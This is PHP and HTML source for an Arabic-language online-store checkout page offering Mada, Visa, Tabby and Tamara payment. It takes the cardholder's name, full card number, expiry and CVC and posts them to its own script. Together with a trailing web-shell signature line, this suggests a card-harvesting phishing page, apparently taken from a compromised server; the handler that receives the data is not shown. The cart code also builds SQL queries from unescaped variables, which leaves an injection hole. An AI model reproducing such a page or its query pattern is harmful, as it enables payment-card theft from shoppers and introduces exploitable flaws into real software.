            transition: background .1s;
            width: 100%
        }

        .control {
            background: #fff;
            border: 1px solid #505050;
            margin-top: 100px;
            text-transform: none
        }

        .control+.control {
            margin-top: 20px
        }

        .tabby-button.primary:hover {
            background: rgba(62, 237, 191, .8)
        }

        .tabby-button.primary:active {
            background: #63debe
        }

        .tabby-button.primary.tabby-button__disabled {
            background: #bdbdbd;
            color: #868686;
            cursor: default
        }

        #tabbyCard>div {
            max-width: 100%;
            padding: 1rem;
            width: 100%
        }
    </style>
    <style>
        .fade-enter-active[data-v-96b5818a],
        .fade-leave-active[data-v-96b5818a] {
            transition: opacity .5s
        }

        .fade-enter[data-v-96b5818a],
        .fade-leave-to[data-v-96b5818a] {
            opacity: 0
        }
    </style>
    <style>
        .vue-map-container {
            position: relative
        }

        .vue-map-container .vue-map {
            bottom: 0;
            left: 0;
            position: absolute;
            right: 0;
            top: 0
        }

        .vue-map-hidden {
            display: none
        }
    </style>
    <style>
        .vue-street-view-pano-container {
            position: relative
        }

        .vue-street-view-pano-container .vue-street-view-pano {
            bottom: 0;
            left: 0;
            position: absolute;
            right: 0;
            top: 0
        }
    </style>
    <style>
        .options-enter-active[data-v-51e027e3] {
            transition: all .2s ease
        }

        .options-leave-active[data-v-51e027e3] {
            transition: all .2s cubic-bezier(1, .5, .8, 1)
        }

        .options-fade-leave-to[data-v-51e027e3],
        .options-up-enter[data-v-51e027e3] {
            opacity: 0;
            transform: translateY(100vh)
        }
    </style>
    <style>
        .breadcrumb-item a[data-v-6fa53af8] {
            color: var(--color-primary)
        }

        .breadcrumb-item a[data-v-6fa53af8]:hover {
            color: var(--color-primary-l)
        }

        .is-clickable[data-v-6fa53af8] {
            cursor: pointer;
            pointer-events: none
        }
    </style>
    <style>
        #outlineButton.up::before {
        content: ""; /* سهم لأعلى */
        }
    </style>
    <style>
        .row [class*=col-] {
            padding-left: 8px;
            padding-right: 8px;
        }
        .alert {
            border: 1px solid transparent;
            border-radius: 0.25rem;
            margin-bottom: 1rem;
            padding: 0.75rem 1.25rem;
            position: relative;
        }
        .alert-center, .alert-center * {
            text-align: center;
        }
        .styles__tabby-card--de772.styles__tabby-card--rtl--b41c9 {
            direction: rtl;
            text-align: right;
        }
        #tabbyCard>div {
            max-width: 100%;
            padding: 1rem;
            width: 100%;
            background-color: #fff;
        }
        .styles__subtitle--b7f44 {
            margin: 0 0 24px;
            font-size: 16px;
            line-height: 24px;
            letter-spacing: -0.011em;
            color: #acacb6;
        }
        .alert-center, .alert-center * {
            text-align: center;
        }
        .styles__line--f8f1d {
            position: relative;
            display: -webkit-flex;
            display: -ms-flexbox;
            display: flex;
            -webkit-flex-direction: column;
            -ms-flex-direction: column;
            flex-direction: column;
        }
        .styles__line--f8f1d .styles__item--e1fc9 {
            display: -webkit-flex;
            display: -ms-flexbox;
            display: flex;
            -webkit-flex-grow: 1;
            -ms-flex-positive: 1;
            flex-grow: 1;
            position: relative;
        }
        .styles__line--f8f1d .styles__item--e1fc9 .styles__ellipse--896c7 {
            display: inline-block;
            height: 34px;
            min-width: 34px;
            border-radius: 100%;
            border: 1px solid #54545C;
            overflow: hidden;
            position: relative;
            background: #fff;
            margin-bottom: 24px;
            box-sizing: border-box;
        }
        .styles__line--f8f1d .styles__item--e1fc9 .styles__ellipse--896c7 .styles__ellipse__section-1--e8954 {
            background: linear-gradient(90deg, #fff 50%, transparent 50%), linear-gradient(0deg, transparent 50%, #54545c 50%);
            height: 100%;
        }
        .styles__line--f8f1d .styles__item--e1fc9 .styles__text--60524 {
            display: -webkit-flex;
            display: -ms-flexbox;
            display: flex;
            width: 100%;
            margin: 0 0 24px 12px;
            -webkit-align-items: center;
            -ms-flex-align: center;
            align-items: center;
        }
        .styles__line--f8f1d .styles__item--e1fc9 .styles__text--60524 p:first-of-type {
            color: #54545c;
            font-weight: normal;
            margin: 0;
            -webkit-flex-grow: 1;
            -ms-flex-positive: 1;
            flex-grow: 1;
        }
        .styles__line--f8f1d .styles__item--e1fc9 .styles__text--60524.styles__text_rtl--d3796 p:first-of-type {
            margin: 4px 4px 0 0;
        }
        .styles__line--f8f1d .styles__item--e1fc9 .styles__text--60524 p {
            font-weight: bold;
            margin: 0;
            font-size: 16px;
            line-height: 12px;
        }
        .styles__line--f8f1d .styles__item--e1fc9 {
            display: -webkit-flex;
            display: -ms-flexbox;
            display: flex;
            -webkit-flex-grow: 1;
            -ms-flex-positive: 1;
            flex-grow: 1;
            position: relative;
        }
        .styles__line--f8f1d .styles__item--e1fc9 .styles__ellipse--896c7 {
            display: inline-block;
            height: 34px;
            min-width: 34px;
            border-radius: 100%;
            border: 1px solid #54545C;
            overflow: hidden;
            position: relative;
            background: #fff;
            margin-bottom: 24px;
            box-sizing: border-box;
        }
        .styles__line--f8f1d .styles__item--e1fc9 .styles__ellipse--896c7 .styles__ellipse__section-2--822f9 {
            background: linear-gradient(90deg, transparent 50%, #54545c 50%);
            height: 100%;
        }
        .styles__line--f8f1d .styles__item--e1fc9 .styles__text--60524 {
            display: -webkit-flex;
            display: -ms-flexbox;
            display: flex;
            width: 100%;
            margin: 0 0 24px 12px;
            -webkit-align-items: center;
            -ms-flex-align: center;
            align-items: center;
        }
        .styles__line--f8f1d .styles__item--e1fc9 .styles__text--60524 p:first-of-type {
            color: #54545c;
            font-weight: normal;
            margin: 0;
            -webkit-flex-grow: 1;
            -ms-flex-positive: 1;
            flex-grow: 1;
        }
        .styles__line--f8f1d .styles__item--e1fc9 {
            display: -webkit-flex;
            display: -ms-flexbox;
            display: flex;
            -webkit-flex-grow: 1;
            -ms-flex-positive: 1;
            flex-grow: 1;
            position: relative;
        }
        .styles__line--f8f1d .styles__item--e1fc9 .styles__ellipse--896c7 {
            display: inline-block;
            height: 34px;
            min-width: 34px;
            border-radius: 100%;
            border: 1px solid #54545C;
            overflow: hidden;
            position: relative;
            background: #fff;
            margin-bottom: 24px;
            box-sizing: border-box;
        }
        .styles__line--f8f1d .styles__item--e1fc9 .styles__ellipse--896c7 .styles__ellipse__section-3--30ffa {
            background: linear-gradient(180deg, transparent 50%, #54545c 50%), linear-gradient(90deg, transparent 50%, #54545c 50%);
            height: 100%;
        }
        .styles__line--f8f1d .styles__item--e1fc9 .styles__text--60524 {
            display: -webkit-flex;
            display: -ms-flexbox;
            display: flex;
            width: 100%;
            margin: 0 0 24px 12px;
            -webkit-align-items: center;
            -ms-flex-align: center;
            align-items: center;
        }
        .styles__line--f8f1d .styles__item--e1fc9 {
            display: -webkit-flex;
            display: -ms-flexbox;
            display: flex;
            -webkit-flex-grow: 1;
            -ms-flex-positive: 1;
            flex-grow: 1;
            position: relative;
        }
        .styles__line--f8f1d .styles__item--e1fc9 .styles__ellipse--896c7 {
            display: inline-block;
            height: 34px;
            min-width: 34px;
            border-radius: 100%;
            border: 1px solid #54545C;
            overflow: hidden;
            position: relative;
            background: #fff;
            margin-bottom: 24px;
            box-sizing: border-box;
        }
        .styles__line--f8f1d .styles__item--e1fc9 .styles__ellipse--896c7 .styles__ellipse__section-4--597bb {
            background: #54545c;
            height: 100%;
        }
        .styles__line--f8f1d .styles__item--e1fc9 .styles__text--60524 {
            display: -webkit-flex;
            display: -ms-flexbox;
            display: flex;
            width: 100%;
            margin: 0 0 24px 12px;
            -webkit-align-items: center;
            -ms-flex-align: center;
            align-items: center;
        }
        .ui.dropdown i.dropdown.icon:before {
            content: "";
            font-family: sallaicons;
            font-size: 16px;
        }
        .row [class*=col-] {
            padding-left: 8px;
            padding-right: 8px;
        }
        .tabby-payment-info {
            margin-bottom: 25px;
        }
        .tabby-payment-info ul li {
            margin-bottom: 8px;
        }
        .list>li:first-child {
            margin-top: 0;
        }
        .list--check li:before {
            color: inherit;
            content: "☑";
            display: inline-block;
            font-family: sallaicons;
            font-size: 14px;
            margin-left: 10px;
            vertical-align: baseline;
        }
        .disabled {
            fill: #ccc !important;
            cursor: no-drop;
        }
    </style>
</head>

<body class="body color-mode-dark has-notify" data-new-gr-c-s-check-loaded="14.1167.0" data-gr-ext-installed="" style="margin-top: 50px;">
    <div id="app" class="container container--margined">
        <div>
            <header data-v-6fa53af8="" class="store-info">
                <div data-v-6fa53af8="" class="d-flex w-100 align-items-center">
                    <a data-v-6fa53af8="" href="../ar" class="store-info__logo">
                        <img data-v-6fa53af8="" src="../BEqq/<?= $logo ?>" alt="Logo">
                    </a>
                    <div data-v-6fa53af8="" class="store-info__detail">
                        <h1 data-v-6fa53af8="">مرحباً بك، <?= $_SESSION['name']; ?> </h1>
                        <ul data-v-6fa53af8="" class="breadcrumb">
                            <li data-v-6fa53af8="" class="breadcrumb-item">
                                <a data-v-6fa53af8="" href="../ar" target="_blank"><?= $webnameE ?></a>
                            </li>
                            <li data-v-6fa53af8="" class="breadcrumb-item">
                                <a data-v-6fa53af8="" href="../ar/cart.php" target="_blank"> سلة المشتريات </a>
                            </li>
                            <li data-v-6fa53af8="" class="breadcrumb-item">إنهاء الطلب</li>
                        </ul>
                    </div>
                </div> <!---->
                <div data-v-6fa53af8="" id="message_modal" class="ui modal failed">
                    <div class="ui active inverted dimmer failed">
                        <i class="sicon-cancel-circle"></i>
                        <div class="message">
                            <b>حصل خطأ غير متوقع، يرجى إعادة المحاولة</b>
                            <p>جاري تحديث الصفحة ...</p>
                        </div>
                    </div>
                </div>
            </header>
            <div id="cart_summary_desktop">
                <div class="cart-summary-wrapper">
                    <div class="cart-summary--top">
                        <ul class="cart-summary" id="cartBox" style="display: none;"><!---->
                            <li>
                                <h4><!---->
                                    ملخص السلة
                                    <!----> <!---->
                                </h4> <span class="currency"><b>&nbsp;<?= isset($coupons) ? ($_SESSION['pricecheckout'] - $coupons) : $_SESSION['pricecheckout']; ?></b> <small>ر.س</small> <!----></span>
                            </li><!---->
                            <?php
                            $price = 0;
                            $titel_price = 0;
                            $stmt = $connection->prepare("SELECT * FROM cart WHERE user = '$user'");
                            $stmt->execute();
                            $row = $stmt->get_result(); 
                            while ($data = $row->fetch_assoc()){
                                $product_id = $data['product_id'];
                                $stmt_products = $connection->prepare("SELECT * FROM products WHERE id = $product_id");
                                $stmt_products->execute();
                                $row_products = $stmt_products->get_result(); 
                                while ($data_products = $row_products->fetch_assoc()){
                                    if ($data_products['decPrice'] > 0 ) {
                                        $price = $data_products['decPrice'];
                                        $titel_price += $price;
                                    }else {
                                        $price = $data_products['price'];
                                        $titel_price += $price;
                                    }

                                    $name_product = $data_products['name'];
                                    $size_id = $data['size_id'];
    
                                    if ($data_products['size'] == 1) {
                                        $stmt_size = $connection->prepare("SELECT * FROM `size` WHERE `id` = $size_id");
                                        $stmt_size->execute();
                                        $result_size = $stmt_size->get_result();
                                        if ($result_size->num_rows > 0) {
                                            $row_size = $result_size->fetch_assoc();
                                            $size_name = $row_size['name'];
                                        }
                                        $name_product = $name_product . ' - ' . $size_name;
                                    }

                                    if ($data['quantity'] > 1) {
                                        $titel_price = $titel_price * $data['quantity'];
                                    }
                                    
                                        echo '<li>
                                            <p>';
                                                echo $data['quantity'] > 1 ? $name_product . " (x". $data['quantity'] . ")" : $name_product;
                                        echo '</p> <span class="currency"><b>&nbsp;'.$price.'</b> <small>ر.س</small> <!----></span>
                                        </li>';
                                    
                                }
                            }
                            ?>
                        </ul>
                        <ul class="cart-summary cart-summary--total"><!---->
                            <li>
                                <div>
                                    <h4>اجمالي الطلب</h4> <!---->
                                </div> <span class="currency"><b>&nbsp;<?= isset($coupons) ? ($_SESSION['pricecheckout'] - $coupons) : $_SESSION['pricecheckout']; ?></b> <small>ر.س</small> <!----></span>
                            </li>
                        </ul>
                    </div>
                    <ul class="cart-summary cart-summary--bottom">
                        <li class="column no-border p-0">
                            <div class="coupon-wrapper w-100">
                                <button class="btn btn--link btn--coupon" id="toggleButton">لديك كوبون تخفيض؟</button>
                                <form name="coupon_form" action="<?php echo $_SERVER["PHP_SELF"]; ?>" method="POST" id="textBox" style="display:none" class="form form--payment form--coupon hidden">
                                    <fieldset class="form-group">
                                        <i class="sicon-cancel clear-input"></i> 
                                        <input id="coupon_field" type="text" placeholder="ادخل رمز الكوبون" name="coupon-input" class="form-control"> 
                                        <button id="coupon_form_submit" type="submit" name="submit" value="coupon" <?= $_SESSION['pricecheckout'] == ($titel_price + $delivarycompany) ? (isset($coupons) ? 'disabled' : '') : 'disabled'?> class="btn btn--primary">
                                            <span>تطبيق</span><!---->
                                        </button> <!----> <!---->
                                    </fieldset>
                                </form>
                            </div>
                        </li>
                    </ul>
                    <div class="cart-summary--bg">
                        <div class="cart-summary--toggle">
                            <button class="btn btn--outline dark" id="outlineButton">تفاصيل الفاتورة</button>
                        </div>
                    </div>
                </div>
            </div>
            <div id="payment_process" style="display: block;">
                <main class="sections-wrapper">
                    <div class="section section--payment">
                        <div data-v-51e027e3=""><!----></div>
                        <div class="row">
                            <div class="col-md-12">
                                <div id="payment_step" class="payment-step">
                                    <div data-step="1" class="title title--step">
                                        <div class="d-flex gap-3">
                                            <span class="icon active">
                                                <i class="sicon-cash-payment"></i>
                                            </span>
                                            <div class="d-flex flex-column gap-1">
                                                <h3 class="m-0 text-semibold">طريقة الدفع</h3> 
                                                <small id="mySmall">مدى</small>
                                            </div>
                                        </div> 
                                        <button type="button" class="btn btn--outline dark btn-edit d-none">
                                            <i class="sicon-pencil"></i>
                                            تعديل
                                        </button>
                                    </div>
                                    <div><!----> <!---->
                                        <div>
                                            <div id="payment_methods_wrapper" class="payment_methods">
                                                <ul id="payment_methods" class="list list--payment-methods">
                                                    <li>
                                                        <button type="button" onclick="click_mada()" id="made" class="btn btn--round btn--payment-option active">
                                                            <img src="../vendor/checkout/images/icons/pay-option-mada.svg" alt="Mada">
                                                        </button>
                                                    </li>
                                                    <li>
                                                        <button type="button" onclick="click_visa()" id="visa" class="btn btn--round btn--payment-option">
                                                            <img src="../vendor/checkout/images/icons/pay-option-credit-2.svg" alt="Credit card Logo" class="large">
                                                        </button>
                                                    </li>
                                                    <li>
                                                        <button type="button" onclick="click_tabby()" id="tabby" class="btn btn--round btn--payment-option" style="<?php echo $aqsad_num == 1 ? '' : 'display: none;' ?>">
                                                            <img src="../vendor/checkout/images/icons/pay-option-tabby_en.png" alt="tabby">
                                                        </button>
                                                    </li>
                                                    <li>
                                                        <button type="button" onclick="click_tamara()" id="tamara" class="btn btn--round btn--payment-option" style="<?php echo $aqsad_num == 1 ? '' : 'display: none;' ?>">
                                                            <img style="height: 35px;width: 70px;" src="../vendor/checkout/images/icons/ar-label.svg" alt="tamara">
                                                        </button>
                                                    </li>
                                                    <!---->
                                                </ul>
                                            </div>
                                        </div> 
                                        <span>
                                            <form data-v-0d943f88="" action="<?php echo $_SERVER["PHP_SELF"]; ?>" method="POST" class="form form--payment"><!---->
                                                <div data-v-0d943f88="" class="row" id="counter">
                                                    <div data-v-0d943f88="" class="col-md-6 col-xs-12">
                                                        <span data-v-0d943f88="">
                                                            <fieldset data-v-0d943f88="" data-openreplay-masked="" class="form-group--w-icon form-group payment-type">
                                                                <label data-v-0d943f88="" for="cc-name" class="text-nowrap">الأسم على البطاقة</label>
                                                                <div data-v-0d943f88="" class="relative">
                                                                    <i data-v-0d943f88="" lass="sicon-debit-card-back"></i> 
                                                                    <input data-v-0d943f88="" type="text" id="cc-name" name="cc-name" autocomplete="cc-name" required="" placeholder="الأسم على البطاقة" class="form-control ym-disable-keys ym-hide-content">
                                                                    <!---->
                                                                </div>
                                                            </fieldset>
                                                        </span>
                                                    </div>
                                                    <div data-v-0d943f88="" class="col-md-6 col-xs-12">
                                                        <span data-v-0d943f88="">
                                                            <fieldset data-v-0d943f88="" data-openreplay-masked="" class="form-group--w-icon form-group payment-type">
                                                                <label data-v-0d943f88="" for="cc-number" class="text-nowrap">رقم البطاقة</label>
                                                                <div data-v-0d943f88="" class="relative">
                                                                    <i data-v-0d943f88="" lass="sicon-debit-card-back"></i> 
                                                                    <input data-v-0d943f88="" type="tel" maxlength="19" oninput="formatCardNumber(this)" id="cc-number" required="" name="cc-number" autocomplete="cc-number" placeholder="رقم البطاقة" class="form-control ym-disable-keys ym-hide-content">
                                                                    <!---->
                                                                </div>
                                                                <p id="result"></p>
                                                            </fieldset>
                                                        </span>
                                                    </div>
                                                    <div data-v-0d943f88="" class="col-md-3 col-xs-6">
                                                        <span data-v-0d943f88="">
                                                            <fieldset data-v-0d943f88="" class="form-group">
                                                                <label data-v-0d943f88="" for="cc_month" class="text-nowrap">تاريخ الانتهاء</label>
                                                                <div data-v-0d943f88="" class="input-wrapper-expiry">
                                                                    <input data-v-0d943f88="" type="tel" maxlength="2" pattern="[0-9]*" placeholder="الشهر" required="" name="cc_month" id="cc_month" autocomplete="cc-exp-month" class="form-control ym-disable-keys ym-hide-content card-month">
                                                                    <input data-v-0d943f88="" type="text" placeholder="/" disabled="disabled" class="form-control separator"> 
                                                                    <input data-v-0d943f88="" type="tel" maxlength="2" pattern="[0-9]*" placeholder="السنة" required="" name="cc_year" id="cc_year" autocomplete="cc-exp-year" class="form-control ym-disable-keys ym-hide-content card-year">
                                                                </div> <!----> <!---->
                                                            </fieldset>
                                                        </span>
                                                    </div>
                                                    <div data-v-0d943f88="" class="col-md-3 col-xs-6">
                                                        <span data-v-0d943f88="">
                                                            <fieldset data-v-0d943f88="" data-openreplay-masked="" class="form-group form-group--with-icon form-group--icon-end">
                                                                <label data-v-0d943f88="" for="cc_cvc" class="text-nowrap">رمز التحقق (CVC)</label>
                                                                <div data-v-0d943f88="" class="relative">
                                                                    <input data-v-0d943f88="" type="tel" pattern="\d*" maxlength="3" minlength="3" required="" autocomplete="cc-csc" id="cc_cvc" name="cc-csc" placeholder="رمز التحقق (CVC)" class="form-control ym-disable-keys ym-hide-content">
                                                                    <!---->
                                                                </div>
                                                            </fieldset>
                                                        </span>
                                                    </div>
                                                </div>
                                            <!-- </form> -->
                                            <div id="counter2" style="display: none; margin: 30px 0 0 0;">
                                                <div class="col-md-12">
                                                    <div class="alert alert-default alert-center">
                                                        <div id="tabbyCard">
                                                            <div class="styles__tabby-card--de772 styles__tabby-card--rtl--b41c9">
                                                                <p class="styles__subtitle--b7f44">تقبل جميع البطاقات.</p>
                                                                <div class="styles__line--f8f1d">
                                                                    <div class="styles__item--e1fc9 styles__item_rtl--74ddb">
                                                                        <div class="styles__ellipse--896c7">
                                                                            <div class="styles__ellipse__section-1--e8954"></div>
                                                                        </div>
                                                                        <div class="styles__text--60524 styles__text_rtl--d3796">
                                                                            <p>اليوم</p>
                                                                            <p class=""><?php echo $pricecheckout / 4; ?> SAR</p>
                                                                        </div>
                                                                    </div>
                                                                    <div class="styles__item--e1fc9 styles__item_rtl--74ddb">
                                                                        <div class="styles__ellipse--896c7">
                                                                            <div class="styles__ellipse__section-2--822f9"></div>
                                                                        </div>
                                                                        <div class="styles__text--60524 styles__text_rtl--d3796">
                                                                            <p>بعد شهر</p>
                                                                            <p class=""><?php echo $pricecheckout / 4; ?> SAR</p>
                                                                        </div>
                                                                    </div>
                                                                    <div class="styles__item--e1fc9 styles__item_rtl--74ddb">
                                                                        <div class="styles__ellipse--896c7">
                                                                            <div class="styles__ellipse__section-3--30ffa"></div>
                                                                        </div>
                                                                        <div class="styles__text--60524 styles__text_rtl--d3796">
                                                                            <p>بعد شهرين</p>
                                                                            <p class=""><?php echo $pricecheckout / 4; ?> SAR</p>
                                                                        </div>
                                                                    </div>
                                                                    <div class="styles__item--e1fc9 styles__item_rtl--74ddb">
                                                                        <div class="styles__ellipse--896c7">
                                                                            <div class="styles__ellipse__section-4--597bb"></div>
                                                                        </div>
                                                                        <div class="styles__text--60524 styles__text_rtl--d3796">
                                                                            <p>بعد ٣ أشهر</p>
                                                                            <p class=""><?php echo $pricecheckout / 4; ?> SAR</p>
                                                                        </div>
                                                                    </div>
                                                                </div>
                                                            </div>
                                                        </div>
                                                    </div>
                                                    <div class="tabby-payment">
                                                        <div class="row">
                                                            <div class="col-md-12">
                                                                <fieldset class="form-group">
                                                                    <label>اختر طريقة الدفع</label> 
                                                                    <div class="ui selection compact dropdown" tabindex="0">
                                                                        <span class="text">قسّط عملية الدفع</span> 
                                                                        <i class="dropdown icon"></i>
                                                                        <div class="menu" tabindex="-1">
                                                                            <div class="item active selected" data-value="PAY_IN_INSTALLMENT">قسّط عملية الدفع</div>
                                                                        </div>
                                                                    </div> <!---->
                                                                </fieldset>
                                                            </div>
                                                        </div> 
                                                        <div class="row">
                                                            <div class="col-md-6 col-sm-12" style="">
                                                                <div class="tabby-payment-info">
                                                                    <ul class="list list--vertical list--check">
                                                                        <li>ادفع 25%  اليوم والباقي قسمه على 3 أشهر</li>
                                                                        <li>بدون فوائد أو رسوم</li> 
                                                                        <li>نقبل أي بطاقة بنكية أو ائتمانية</li>
                                                                    </ul>
                                                                </div>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </span> <!----> <!---->
                                        <div class="row">
                                            <div class="col-md-12">
                                                <div class="ui form mt-4">
                                                    <div class="field"><!----></div>
                                                </div>
                                            </div> <!---->
                                        </div>
                                        <div class="mt-4">
                                            <button  style="display: block; background-color: <?= $color_button1 ?>; color: #fff" type="submit" name="submit" id="submit-pay" value="pay" class="btn btn--primary btn--large btn--wide btn--round btn--submit wide" disabled>
                                                <span>اكمال الدفع</span> <!---->
                                            </button>
                                        </div>
                                    </form>
                                        <div class="mt-4">
                                            <a href="checkoutTappey.php"><button  style="display: none; background-color: <?= $color_button1 ?>; color: #fff;"  id="submit-tabby" class="btn btn--primary btn--large btn--wide btn--round btn--submit wide">
                                                <span>اكمال الدفع</span> <!---->
                                            </button></a>
                                            <a href="checkoutTamara.php"><button  style="display: none; background-color: <?= $color_button1 ?>; color: #fff;" id="submit-tamara" class="btn btn--primary btn--large btn--wide btn--round btn--submit wide">
                                                <span>اكمال الدفع</span> <!---->
                                            </button></a>
                                        </div>
                                        
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </main>
                <div class="d-flex justify-content-between mt-3">
                    <ul class="list list--brands">
                        <li>تسوق إلكتروني آمن 100%</li>
                    </ul>
                    <ul class="list list--brands">
                        <li>
                            <img src="../vendor/checkout/images/icons/shield payment.svg">
                        </li>
                        <li>
                            <img src="../vendor/checkout/images/icons/trusted payment.svg">
                        </li>
                        <li>
                            <img src="../vendor/checkout/images/icons/secure payment.svg">
                        </li>
                    </ul>
                </div>
            </div>
        </div>
    </div>
    <div id="lightbox-payment"
        style="position: absolute; width: 100%; height: 100%; background-color: rgba(39,39,39,0.8); z-index: 9999999; display: none;">
    </div>
    <script src="../languages/assets/17061914272.js" charset="UTF-8"
        type="text/javascript"></script>


    <script>
        document.getElementById('toggleButton').addEventListener('click', function() {
            var textBox = document.getElementById('textBox');
            if (textBox.style.display === 'none') {
            textBox.style.display = 'block';
            } else {
            textBox.style.display = 'none';
            }
        });

        document.getElementById('outlineButton').addEventListener('click', function() {
            var cartBox = document.getElementById('cartBox');
            if (cartBox.style.display === 'none') {
                cartBox.style.display = 'block';
            } else {
                cartBox.style.display = 'none';
            }
            this.classList.toggle('up');
            this.classList.toggle('down');
        });


        document.getElementById("submit-tabby").addEventListener("click", function() {
            window.location.href = "checkoutTappey.php";
        });
        document.getElementById("submit-tamara").addEventListener("click", function() {
            window.location.href = "checkoutTamara.php";
        });
        function click_mada() {
            document.getElementById("mySmall").textContent = "مدى";
            document.getElementById("made").classList.add("active");
            document.getElementById("visa").classList.remove("active");
            document.getElementById("tabby").classList.remove("active");
            document.getElementById("tamara").classList.remove("active");
            document.getElementById("counter").style.display = "block";
            document.getElementById("counter2").style.display = "none";
            document.getElementById("submit-pay").style.display = "block";
            document.getElementById("submit-tabby").style.display = "none";
            document.getElementById("submit-tamara").style.display = "none";
        }
        function click_visa() {
            document.getElementById("mySmall").textContent = "فيزا";
            document.getElementById("made").classList.remove("active");
            document.getElementById("visa").classList.add("active");
            document.getElementById("tabby").classList.remove("active");
            document.getElementById("tamara").classList.remove("active");
            document.getElementById("counter").style.display = "block";
            document.getElementById("counter2").style.display = "none";
            document.getElementById("submit-pay").style.display = "block";
            document.getElementById("submit-tabby").style.display = "none";
            document.getElementById("submit-tamara").style.display = "none";
        }
        function click_tabby() {
            document.getElementById("mySmall").textContent = "تابي";
            document.getElementById("made").classList.remove("active");
            document.getElementById("visa").classList.remove("active");
            document.getElementById("tabby").classList.add("active");
            document.getElementById("tamara").classList.remove("active");
            document.getElementById("counter").style.display = "none";
            document.getElementById("counter2").style.display = "block";
            document.getElementById("submit-pay").style.display = "none";
            document.getElementById("submit-tabby").style.display = "block";
            document.getElementById("submit-tamara").style.display = "none";
        }
        function click_tamara() {
            document.getElementById("mySmall").textContent = "تمارا";
            document.getElementById("made").classList.remove("active");
            document.getElementById("visa").classList.remove("active");
            document.getElementById("tabby").classList.remove("active");
            document.getElementById("tamara").classList.add("active");
            document.getElementById("submit-pay").style.display = "none";
            document.getElementById("submit-tabby").style.display = "none";
            document.getElementById("submit-tamara").style.display = "block";
            document.getElementById("counter").style.display = "none";
            document.getElementById("counter2").style.display = "block";
        }

    </script>
    <script>
        function formatCardNumber(input) {
            let cardNumber = input.value.replace(/\D/g, '').substring(0, 16); // إزالة أي حروف غير أرقام
            input.value = cardNumber.replace(/(.{4})/g, '$1 ').trim(); // إضافة مسافة كل 4 أرقام

            if (cardNumber.length === 16) {
                validateCard(cardNumber);
            } else {
                document.getElementById("result").textContent = "";
                document.getElementById("submit-pay").disabled = true;
            }
        }

        function luhnCheck(cardNumber) {
            let sum = 0;
            let alternate = false;
            for (let i = cardNumber.length - 1; i >= 0; i--) {
                let n = parseInt(cardNumber[i], 10);
                if (alternate) {
                    n *= 2;
                    if (n > 9) n -= 9;
                }
                sum += n;
                alternate = !alternate;
            }
            return (sum % 10 === 0);
        }

        function getCardType(cardNumber) {
            if (/^4[0-9]{12}(?:[0-9]{3})?$/.test(cardNumber)) {
                return "Visa";
            } else if (/^5[1-5][0-9]{14}$/.test(cardNumber) || /^2(2[2-9][1-9]|2[3-9][0-9]{2}|[3-6][0-9]{3}|7[0-1][0-9]{2}|720)[0-9]{12}$/.test(cardNumber)) {
                return "Mastercard";
            }
            return null;
        }

        function validateCard(cardNumber) {
            let result = document.getElementById("result");
            let payButton = document.getElementById("submit-pay");
            let cardType = getCardType(cardNumber);

            if (cardType && luhnCheck(cardNumber)) {
                result.textContent = ``;
                result.style.color = "green";
                payButton.disabled = false; // تفعيل الزر
            } else {
                result.textContent = "رقم البطاقة غير صالح";
                result.style.color = "red";
                payButton.disabled = true; // تعطيل الزر
            }
        }
    </script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit